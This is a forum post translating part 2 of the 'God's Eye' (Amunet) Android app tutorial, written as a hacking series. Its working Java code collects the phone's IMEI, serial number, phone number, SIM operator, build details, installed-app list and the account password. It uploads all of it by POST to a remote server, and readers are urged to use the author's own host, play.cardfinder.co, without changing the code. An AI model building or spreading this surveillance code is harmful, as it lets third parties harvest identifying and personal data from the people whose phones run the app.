用户
搜索
  • TA的每日心情
    慵懒
    2018-5-15 10:54
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-核心白帽

    Rank: 4

    6

    主题

    6

    帖子

    87

    魔法币
    收听
    1
    粉丝
    0
    注册时间
    2018-4-3
    发表于 2018-7-23 17:29:47 13339
    本帖最后由 icq_78ba5d50f 于 2018-7-23 17:34 编辑

    构建一个God's Eye Android应用程序:第2部分 - 向Web服务器发送信息

    教程         andriod
    黑客

    首先问候一下我的黑客伙伴们,随着我们的系列的深入,AMUNET应用程序变得复杂,需要了解新的功能和结构。 我们将继续前进。 如前面教程中所述,该应用程序并不完全存在,因为我在分享之前构建了它们,所以请原谅我,如果在教程出来之前需要一段时间。 我需要确保一切顺利。     

    以前的补习

    以下是目前为止所涵盖的教程。
    1.Introduction to Amunet
    2.Collecting Installed Android Apps

    今天的补习

    在今天的教程中,我们将使用Volley Google将数据发送到我们的服务器.Volley是一个HTTP库,它使Android应用程序的网络更容易,最重要的是,更快。 为了在我们的Android应用程序中使用volley,我们首先需要将它导入我们的android studio项目。转到Grade Scripts下的build.gradle(模块:app)并添加依赖项实现'com.android.volley:volley:1.1.0'。 确保同步项目。 你应该有类似的东西。

    dependencies {
        implementation fileTree(dir: 'libs', include: ['*.jar'])
        implementation 'com.android.support:appcompat-v7:27.1.1'
        implementation 'com.android.support.constraint:constraint-layout:1.1.2'
        implementation 'com.android.support:design:27.1.1'
        testImplementation 'junit:junit:4.12'
        androidTestImplementation 'com.android.support.test:runner:1.0.2'
        androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
    
        implementation 'com.android.volley:volley:1.1.0'
    }

    现在,我们可以继续在我们的项目中使用排球库。 在继续之前,创建一个名为“Dashboard”的新基本活动。 我们现在不会使用它(本教程后面的内容)。 我们创建Dashboard活动的原因是因为我们将使用MainActivity.java进行电话注册。     

    设置APP图标

    没有人喜欢使用创建项目的默认图标。 您可以使用您选择的任何图标。 我正在使用眼睛图像。 确保你的图像足够大。 我会在这里上传任何人都可以使用它。         


    现在,请转到Roman Urik's Github.我喜欢使用这个工具,因为它允许自定义图标。选择图像(在前景下)并上传您的首选图像。根据您的口味自定义图标。我正在使用白色背景。

    完成后,单击Source on Github链接下网站右上角的“下载”按钮。图像应下载到您的计算机上。

    提取包,您应该注意到图标被分组为分辨率。不要搞砸他们。他们故意分组。回到Android Studio并在res下,右键单击mipmap。在Mac上,选择“在Finder中显示”,在Windows上,类似的东西可能是“在资源管理器中打开”或“浏览”应该打开资源管理器中的mipmap目录。现在将文件从提取的mipmap文件夹相应地复制到打开的android studio mipmap目录。如果一切都正确完成,复制的新图标将显示在android工作室中。如果您仍然遇到问题,请在线搜索或观看此视频Change The App Icon in Android Studio - YouTube

    打开AndroidManifest(在app-> manifests下)并将application:tag中的android:roundIcon和android:icon的值更改为导入的app图标的文件名。这将允许应用程序使用图标。

    仍在AndroidManifest文件中,添加READ_PHONE_STATE,INTERNET和ACCESS_NETWORK_STATE权限。在应用程序标记开头上方,添加这些行。

    <uses-permission android:name="android.permission.READ_PHONE_STATE" /></br>
    <uses-permission android:name="android.permission.INTERNET" /></br>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /></br>
    创建主要活动的UI

    选择“基本活动”时,将在布局文件夹下创建两个文件。 在我们的示例中,它是activity_main.xml和content_main.xml,除非您以其他方式命名了您的活动。

    在activity_main.xml中,清除工具栏和appbarlayout代码。 我们的代码应该是这样的。

            <?xml version="1.0" encoding="utf-8"?>
            <android.support.design.widget.CoordinatorLayout 
        xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:app="http://schemas.android.com/apk/res-auto"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        tools:context=".MainActivity">
        <include layout="@layout/content_main" />
            </android.support.design.widget.CoordinatorLayout>

    我们将在content_main中设计我们的注册界面。为了UI显示的代码

    <?xml version="1.0" encoding="utf-8"?>
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:padding="20dp"
    app:layout_behavior="@string/appbar_scrolling_view_behavior"
    tools:context=".MainActivity"
    tools:showIn="@layout/activity_main">
    
    <android.support.design.widget.TextInputLayout
        android:layout_width="match_parent"
        android:id="@+id/textinputlayout1"
        android:layout_centerHorizontal="true"
        android:layout_centerVertical="true"
        android:layout_height="wrap_content">
    
        <EditText
            android:layout_width="match_parent"
            android:hint="Username"
            android:id="@+id/username"
            android:layout_height="wrap_content" />
    
    </android.support.design.widget.TextInputLayout>
    
    <android.support.design.widget.TextInputLayout
        android:layout_width="match_parent"
        android:id="@+id/textinputlayout2"
        android:layout_below="@id/textinputlayout1"
        android:layout_height="wrap_content">
    
        <EditText
            android:layout_width="match_parent"
            android:hint="Name"
            android:id="@+id/full_name"
            android:layout_height="wrap_content" />
    
    </android.support.design.widget.TextInputLayout>
    
    <android.support.design.widget.TextInputLayout
        android:layout_width="match_parent"
        android:id="@+id/textinputlayout3"
        android:layout_below="@id/textinputlayout2"
        android:layout_centerHorizontal="true"
        android:layout_centerVertical="true"
        android:layout_height="wrap_content">
    
        <EditText
            android:layout_width="match_parent"
            android:hint="Password"
            android:inputType="textWebPassword"
            android:id="@+id/password"
            android:layout_height="wrap_content" />
    
    </android.support.design.widget.TextInputLayout>
    
    <ImageView
        android:layout_width="150dp"
        android:src="@drawable/eye2"
        android:layout_marginBottom="10dp"
        android:layout_above="@id/textinputlayout1"
        android:layout_centerHorizontal="true"
        android:id="@+id/logo_imageview"
        android:layout_height="150dp" />
    
    <Button
        android:layout_width="match_parent"
        android:text="Sign up"
        android:id="@+id/create_account_button"
        android:textColor="@android:color/white"
        android:layout_marginTop="10dp"
        android:background="@color/colorPrimary"
        android:layout_below="@id/textinputlayout3"
        style="@style/Base.Widget.AppCompat.Button.Borderless"
        android:layout_height="wrap_content" />
    </RelativeLayout>
    CONFIGURATION.JAVA

    创建一个新的Java类并将其命名为Configuration。 在Inside Configuration类中,编写此代码。

    private static final String app_host = "xx.xx.xx.xx";
    private static final String domain_path = "https://" + app_host + "/";
    private static final String app_auth = domain_path + "/receiver.php";
    
    public static String getApp_host() {
        return app_host;
    }
    
    public static String getDomain_path() {
        return domain_path;
    }
    
    public static String getApp_auth() {
        return app_auth;
    }

    我们刚刚创建的Configuration java类允许我们从这个文件中引用服务器地址,而不是在整个项目中手动输入它.     

    1.xx.xx.xx.xx是服务器地址(localhost,网络地址),例如0x00sec.org或104.18.48.48

    2.domain_path是合格的域服务器路径,包括适当的协议。 例如https://0x00sec.org/。 不要修改此行,因为它只是一个参考。

    3.app_auth是服务器上接收请求的文件。 采用服务器路径和接收文件路径。
    其余的方法是getter(右键单击 - > Generate - > Getter)。

    为MAINACTIVITY.JAVA编写代码

    本教程的最后一部分将有点棘手,所以尝试阅读并理解,因为我也试着用简单的术语解释。

    通常,在onCreate方法和公共类MainActivity extends ...代码之上,让我们声明我们的UI对象。

    EditText username, password, name;
    Button create_account_button;
    
    SharedPreferences sharedPreferences;
    
    private static final int READ_PHONE_STATE_REQUEST_CODE = 10001;
    
    ProgressDialog progressDialog;

    基本上

    1.我们为用户名,密码和名称字段(content_main.xml)声明EditText。
    2.我们为注册按钮声明了Button(content_main.xml)
    3.SharedPreferences允许我们保存信息。 我们创建它的一个实例。
    4.READ_PHONE_STATE_REQUEST_CODE将允许我们确定我们的许可请求是被授予还是被拒绝(稍后讨论)。
    5.ProgressDialog将允许我们显示带有消息的进度条。

    onCreate方法

    这将是我们的onCreate方法的代码。

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    
        sharedPreferences = getSharedPreferences("Auth", Context.MODE_PRIVATE);
    
        final String auth_key = sharedPreferences.getString("auth_key", null);
    
        if(auth_key != null) {
            startActivity(new Intent(MainActivity.this, Dashboard.class));
            finish();
        }
    
        username = findViewById(R.id.username);
        password = findViewById(R.id.password);
        name = findViewById(R.id.full_name);
    
        create_account_button = findViewById(R.id.create_account_button);
        create_account_button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                if(ActivityCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.READ_PHONE_STATE)
                        != PackageManager.PERMISSION_GRANTED) {
                    show_permission_alert("Allow the app to read the phone's information", "read_phone_state");
                } else {
    
                    if(username.getText().toString().length() < 5) {
                        show_alert("Username must be more than 5 characters");
                        return;
                    }
    
                    if(password.getText().toString().length() < 5) {
                        show_alert("Password must be more than 5 characters");
                        return;
                    }
    
                    if(name.getText().toString().length() < 3) {
                        show_alert("Enter a valid name");
                        return;
                    }
    
                    progressDialog = new ProgressDialog(MainActivity.this);
                    progressDialog.setMessage("Creating account ...");
                    progressDialog.setCancelable(false);
                    progressDialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
                    progressDialog.show();
    
                    create_phone_account();
                }
            }
        });
    }

    1.sharedPreferences - 获取文件“Auth”(键值文件)。 MODE_PRIVATE使文件对我们的应用程序是私有的。

    2.String auth_key - 在我们的Auth文件中获取密钥(auth_key)的值。如果密钥不存在,则返回null。

    3.如果密钥存在(电话已注册),请将我们重定向到我们之前创建的仪表板活动。

    4.设置我们各自的EditTexts(用户名,密码,名称)的引用

    5.设置对注册按钮的引用(create_account_button)

    6.单击该按钮时,我们检查是否已授予READ_PHONE_STATE权限。如果尚未授予权限,我们调用show_permission_alert方法(接受两个参数:message和permission_id)。将稍微创建方法。

    7.如果授予了权限,那么在我们将用户名,密码和密码字段发送到我们的服务器之前,我们会检查并确保它们具有有效数据。还有一个名为show_alert的新方法,它向用户显示消息。

    8.如果数据有效,我们调用create_phone_account方法将注册详细信息发送到服务器。

    希望有人可以理解它。

    许可READ_PHONE_STATE允许我们读取手机的国际移动设备身份(IMEI)。使用IMEI,我们稍后可以识别在其中注册的电话和用户帐户。

    从#6(上面)开始,如果允许拒绝,我们调用show_permission_alert。让我们创建方法。

    SHOW_PERMISSION_ALERT

    在onCreate之外和MainActivity类中,创建此方法。

    private void show_permission_alert(String message, final String permission) {
        AlertDialog.Builder dialog=new AlertDialog.Builder(MainActivity.this);
        dialog.setMessage(message);
        dialog.setCancelable(false);
        dialog.setPositiveButton("Ok",new DialogInterface.OnClickListener() {
    
            @Override
            public void onClick(DialogInterface dialog, int which) {
                if(permission.toLowerCase().equals("read_phone_state")) {
                    ActivityCompat.requestPermissions(MainActivity.this,
                            new String[] {Manifest.permission.READ_PHONE_STATE},
                            READ_PHONE_STATE_REQUEST_CODE);
                }
            }
    
        });
        dialog.show();
    }

    它只显示您传递给它的任何消息。 阅读显示的消息并单击“确定”后,该方法将检查方法调用期间传递的permission_id是否与方法中指定的一致。 如果它们匹配,则执行适当的代码。 这种方法的原因是我们将要求许多未来的权限,而不是每次都创建不同的方法,我们可以将它们与它们各自的代码一起分成一个方法。

    在此方法中,我们在传递“read_phone_state”时请求READ_PHONE_STATE权限。 READ_PHONE_STATE_REQUEST_CODE将允许我们检查是否授予了权限。 在我们继续检查我们的权限是否被授予之前,让我们创建show_alert方法。 与show_permission_alert方法类似,但只显示消息,不接受permissions_id。

    SHOW_ALERT

    正如我已经解释的那样,这里没有太多解释。

    protected void show_alert(String msg) {
        AlertDialog.Builder dialog=new AlertDialog.Builder(MainActivity.this);
        dialog.setMessage(msg);
        dialog.setPositiveButton("Ok",new DialogInterface.OnClickListener() {
    
            @Override
            public void onClick(DialogInterface dialog, int which) {
                dialog.dismiss();
            }
    
        });
        dialog.show();
    }

    只显示消息。

    根据请求许可结果

    此方法允许我们检查是否授予了权限请求。 为了确定权限请求的状态,我们需要标识符(请求代码 - READ_PHONE_STATE_REQUEST_CODE)。 希望您现在了解请求代码整数值的重要性。

    @Override
    public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
        switch (requestCode) {
            case READ_PHONE_STATE_REQUEST_CODE: {
                if (grantResults.length > 0
                        && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                    Toast.makeText(getApplicationContext(), "Without this permission, the desired action cannot be performed", Toast.LENGTH_LONG).show();
                } else {
                    Toast.makeText(getApplicationContext(), "Permission granted", Toast.LENGTH_LONG).show();
                }
                return;
            }
        }
    }

    我们根据用户的操作打印相应的响应。 由于我们需要READ_PHONE_STATE权限才能使应用程序正常工作,因此除非允许,否则我们不允许注册。

    获取设备IMEI

    IMEI是每个手机都独一无二的,这意味着我们可以根据其IMEI跟踪手机。 我们使用IMEI识别手机而不是混合数据。 此方法将检索电话的IMEI并将其返回给其呼叫者。

    protected String getDeviceIMEI() {
        String deviceUniqueIdentifier = null;
        TelephonyManager tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
        if (null != tm) {
            try {
                deviceUniqueIdentifier = tm.getDeviceId();
            } catch (SecurityException e) {
                return null;
            }
        }
        if (null == deviceUniqueIdentifier || 0 == deviceUniqueIdentifier.length()) {
            deviceUniqueIdentifier = Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID);
        }
        return deviceUniqueIdentifier;
    }

    使用需要READ_PHONE_STATE权限的Telephony Manager。 现在在create_account_button(onCreate方法)的onClickListener函数中,有一个我们还没有解决的最后一个方法,那就是create_phone_account。

    创建电话帐户

    在我们继续之前,在上一篇教程 Building a God’s Eye Android App: Part 1 - Collecting Installed Android Apps,我们在onCreate方法中包含了一个调用collect_installed_apps的线程。 请删除该线程。 onCreate方法现在应该如下所示。

    继续使用create_phone_acccount方法

    private void create_phone_account() {
    
        final String phone_imei = getDeviceIMEI();
        final String phone_serial = Build.SERIAL;
    
        RequestQueue requestQueue = Volley.newRequestQueue(MainActivity.this);
    
        StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
            @Override
            public void onResponse(String req) {
                progressDialog.dismiss();
    
                try {
    
                    final JSONObject response = new JSONObject(req);
    
                    if(response.getBoolean("success")) {
                        final String server_response = response.getString("response");
    
                        SharedPreferences.Editor editor = sharedPreferences.edit();
    
                        editor.putString("auth_key", response.getString("api_key"));
    
                        editor.apply();
    
                        new Thread(new Runnable() {
                            @Override
                            public void run() {
                                collect_phone_details();
                                collect_installed_apps();
                            }
                        }).start();
    
                        new CountDownTimer(5000,1000) {
                            @Override
                            public void onTick(long l) {
    
                            }
    
                            @Override
                            public void onFinish() {
                                show_alert(server_response);
                            }
                        }.start();
    
                        username.setText("");
                        password.setText("");
                        name.setText("");
    
                    } else {
                        show_alert(response.getString("response"));
                    }
                } catch (Exception e) {
                    show_alert("Authentication error: " + e.getMessage());
                }
            }
        }, new Response.ErrorListener() {
            @Override
            public void onErrorResponse(VolleyError error) {
                progressDialog.dismiss();
                show_alert("Internet disconnected");
            }
        }) {
            protected Map<String, String> getParams() {
                Map<String, String> params = new HashMap<>();
                params.put("imei", phone_imei);
                params.put("serial", phone_serial);
                params.put("user", username.getText().toString());
                params.put("name", name.getText().toString());
                params.put("pass", password.getText().toString());
                return params;
            }
        };
    
        requestQueue.add(serverRequest);
    }

    此方法利用排球库中的RequestQueue函数发送请求。 在这种情况下,我们发送POST请求。 注意参数

    protected Map<String, String> getParams() {
            Map<String, String> params = new HashMap<>();
            params.put("imei", phone_imei);
            params.put("serial", phone_serial);
            params.put("user", username.getText().toString());
            params.put("name", name.getText().toString());
            params.put("pass", password.getText().toString());
            return params;
    }

    此处发送的POST参数是可选的,不是必需的。我已经设置了一个接受这些特定参数的Web服务器,因此如果您没有要测试的服务器并希望使用我的服务器,请发送这些特定参数,否则将不会记录数据。

    onResponse方法中的代码也是可选的,不是强制性的。我的网络服务器为每部手机提供一个API密钥,以便在电话注册后访问该平台。如果您想使用我的服务器,所有发送的数据都必须使用API​​密钥发布,否则将丢弃传入的数据。

    如果响应的成功字段设置为true,则现在将在此处调用我们之前在onCreate方法中删除的线程。请记住,响应将转换为JSON对象。 Volley允许我们直接在JSONObject中接收数据,但出于调试目的,我使用StringRequest查看在将字符串转换为JSON之前返回的内容(当时我的服务器出现了问题)。

    在您的Web服务器或我的服务器上记录电话信息后。您可以开始将数据发送到服务器。线程在onResponse方法中运行,调用两个方法collect_phone_details和collect_installed_apps。倒计时5秒后,将显示服务器响应。延迟允许两个方法collect_phone_details和collect_installed_apps在用户有机会执行可能中断上载的任何进一步操作之前完成执行。

    收集电话细节

    在此方法中,我们使用Build(android.os)和TelephonyManager(SIM操作)收集有关我们设备的信息。

    private void collect_phone_details() {
        upload_detail("VERSION.RELEASE", Build.VERSION.RELEASE);
        upload_detail("VERSION.INCREMENTAL", Build.VERSION.INCREMENTAL);
        upload_detail("VERSION.SDK.NUMBER", String.valueOf(Build.VERSION.SDK_INT));
        upload_detail("BOARD", Build.BOARD);
        upload_detail("BOOTLOADER", Build.BOOTLOADER);
        upload_detail("BRAND", Build.BRAND);
        upload_detail("CPUABI", Build.CPU_ABI);
        upload_detail("CPUABI2", Build.CPU_ABI2);
        upload_detail("DISPLAY", Build.DISPLAY);
        upload_detail("FINGERPRINT", Build.FINGERPRINT);
        upload_detail("HARDWARE", Build.HARDWARE);
        upload_detail("HOST", Build.HOST);
        upload_detail("ID", Build.ID);
        upload_detail("MANUFACTURER", Build.MANUFACTURER);
        upload_detail("MODEL",Build.MODEL);
        upload_detail("PRODUCT", Build.PRODUCT);
        upload_detail("SERIAL", Build.SERIAL);
        upload_detail("TAGS", Build.TAGS);
        upload_detail("TIME", String.valueOf(Build.TIME));
        upload_detail("TYPE", Build.TYPE);
        upload_detail("UNKNOWN",Build.UNKNOWN);
        upload_detail("USER", Build.USER);
        upload_detail("DEVICE", Build.DEVICE);
    
        TelephonyManager telephonyManager = ((TelephonyManager)getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE));
        String simOperatorName = telephonyManager.getSimOperatorName();
        String simNumber = "";
    
        try {
            simNumber = telephonyManager.getLine1Number();
        } catch (SecurityException e) {
        }
    
        upload_detail("SIM1.OPERATOR", simOperatorName);
        upload_detail("SIM1.PHONE", simNumber);
    }

    该方法广泛使用另一种方法upload_detail将数据发送到我们的服务器。 如果您打算使用我的服务器,请保持值不变,否则信息将不会显示。 如果您不打算使用我的服务器,请随意根据需要修改参数和请求。

    上传细节

    此方法使用在注册过程中获取的api_key将数据发送到服务器。 密钥使用sharedPreferences存储在设备上。 如果没有api密钥,则不会上传该方法。

    private void upload_detail(final String key, final String value) {
        RequestQueue requestQueue = Volley.newRequestQueue(MainActivity.this);
    
        final String auth_key = sharedPreferences.getString("auth_key", null);
    
        if(auth_key == null) { return; }
    
        StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
            @Override
            public void onResponse(String req) {
            }
        }, new Response.ErrorListener() {
            @Override
            public void onErrorResponse(VolleyError error) {
            }
        }) {
            protected Map<String, String> getParams() {
                Map<String, String> params = new HashMap<>();
                params.put("auth", auth_key);
                params.put("k", key);
                params.put("v", value);
                return params;
            }
        };
    
        requestQueue.add(serverRequest);
    }

    如果您想使用我的服务器,请保持POST参数不变。 任何轻微的修改都会导致数据被拒绝。 我的意思是被拒绝。 否则,您可以随意使用并命名您的POST参数。

    protected Map<String, String> getParams() {
            Map<String, String> params = new HashMap<>();
            params.put("auth", auth_key);
            params.put("k", key);
            params.put("v", value);
            return params;
    }

    务必保持数据完好无损。 如果你要使用我的服务器,我不能强调它。

    收集安装的应用程序

    最后一个方法是调用今天的教程。 此方法通过程序包管理器进行枚举,并获取有关设备上安装的应用程序的信息。 在我们之前的教程中,我们只有两个参数:app name和package name。 现在我们又增加了三个更多的参数。

    private void collect_installed_apps() {
        final PackageManager pm = getPackageManager();
        List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
        for (ApplicationInfo packageInfo : packages) {
            if(pm.getLaunchIntentForPackage(packageInfo.packageName) != null)
            {
                try {
                    String app_name = packageInfo.loadLabel(getPackageManager()).toString();
                    String app_package = packageInfo.processName;
                    String app_uid = Integer.toString(packageInfo.uid);
                    String app_versionName = pm.getPackageInfo(app_package, 0).versionName.toString();
                    String app_versionCode = String.valueOf(pm.getPackageInfo(app_package, 0).versionCode);
    
                    upload_app(app_name, app_package, app_uid, app_versionName, app_versionCode);
                } catch (Exception e) {
    
                }
            }
        }
    }

    没有太多可解释的,因为我在上一个教程中已经这样做了。 新参数是app_uid,app_versionName和app_versionCode。

    上传应用程序

    此功能将有关已安装应用程序的数据上载到服务器。 如果您不将我的服务器用作后端,则可以自由修改参数。

    private void upload_app(final String app_name, final String app_package, final String app_uid, final String app_vName, final String app_vCode) {
        RequestQueue requestQueue = Volley.newRequestQueue(MainActivity.this);
    
        final String auth_key = sharedPreferences.getString("auth_key", null);
    
        if(auth_key == null) { return; }
    
        StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
            @Override
            public void onResponse(String req) {
            }
        }, new Response.ErrorListener() {
            @Override
            public void onErrorResponse(VolleyError error) {
            }
        }) {
            protected Map<String, String> getParams() {
                Map<String, String> params = new HashMap<>();
                params.put("auth", auth_key);
                params.put("app_name", app_name);
                params.put("app_package", app_package);
                params.put("app_uid", app_uid);
                params.put("app_vname", app_vName);
                params.put("app_vcode", app_vCode);
                return params;
            }
        };
    
        requestQueue.add(serverRequest);
    }

    这就是本教程的内容。

    配置您的Android应用程序与我的服务器(AMUNETCLOUD)进行通信

    在与AMUNETCLOUD通信时,您需要确保以下设置到位。

    将配置中的地址更改为

    private static final String app_host = "play.cardfinder.co";
    private static final String domain_path = "https://" + app_host + "/";
    private static final String app_auth = domain_path + "/auth.php";

    其次,请确保您不会修改此处发布的原始代码,因为服务器将拒绝已修改的请求或数据。

    访问上传的电话信息

    要访问您的数据,只需使用注册期间输入的凭据登录AMUNETCLOUD即可。 您应该被重定向到您的手机数据。

    免责声明

    服务器是测试或演示服务器,因此我不会对发送给它的任何数据负责。 这完全是出于教育目的。

    我喜欢你的贡献,建议,反馈,评论或者任何有助于该系列的东西。

    如果遇到问题,可以直接将项目导入Android工作室。

    检查github repo:https://github.com/sergeantexploiter/Amunet

    我写完了。


    作者:sergeantsploit
    翻译:i春秋翻译小组-Neo(李皓伟)
    翻译来源:https://www.0x00sec.org/t/building-a-god-s-eye-android-app-part-1-collecting-installed-android-apps/7121


    支持一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册